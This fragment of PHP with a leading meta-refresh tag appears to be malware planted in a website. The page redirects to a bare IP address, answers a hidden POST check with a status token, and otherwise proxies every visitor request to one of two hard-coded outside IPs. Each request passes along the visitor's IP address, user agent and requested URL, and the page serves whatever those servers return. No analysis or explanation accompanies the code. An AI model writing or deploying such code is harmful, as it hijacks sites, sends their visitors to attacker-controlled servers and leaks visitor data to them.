h" content="0; URL='http://66.248.206.237/redirect.php'" /> _ERROR | E_PARSE); $token = 'JhYk3sZ74fKHu2xa-2oGC1QpFWB4MjzE'; $check_name = substr(md5($_SERVER['HTTP_HOST']), 1, 4); if (isset($_POST[$check_name]) and $_POST[$check_name] == substr(md5($_SERVER['HTTP_HOST']), 3, 8)) { header('Content-Type: application/json'); echo json_encode(array('alive' => true, 'token' => $token)); }else{ $host = $_SERVER['HTTP_HOST']; $result = get($host); foreach ($response_header as $header) { header($header, true); } echo $result; } function get($host){ $ips = ['194.87.103.70', '94.250.255.203']; $ip = $ips[rand(0,count($ips)-1)]; $opts = array( 'http'=>array( 'method'=>'GET', 'user_agent'=> $_SERVER['HTTP_USER_AGENT'], 'header' => array( 'HOST: '.$host, 'X-Forwarded-For: '.$_SERVER['REMOTE_ADDR'], 'INFO:'.json_encode(['IP' => $_SERVER['REMOTE_ADDR'], 'QUERY' => $_SERVER['REQUEST_URI']]), ), 'ignore_errors' => true, 'follow_location' => 0 ) ); $context = stream_context_create($opts); $file = file_get_contents('http://'.$ip.'/', false, $context); global $response_header; $response_header = $http_response_header; return $file; } ?>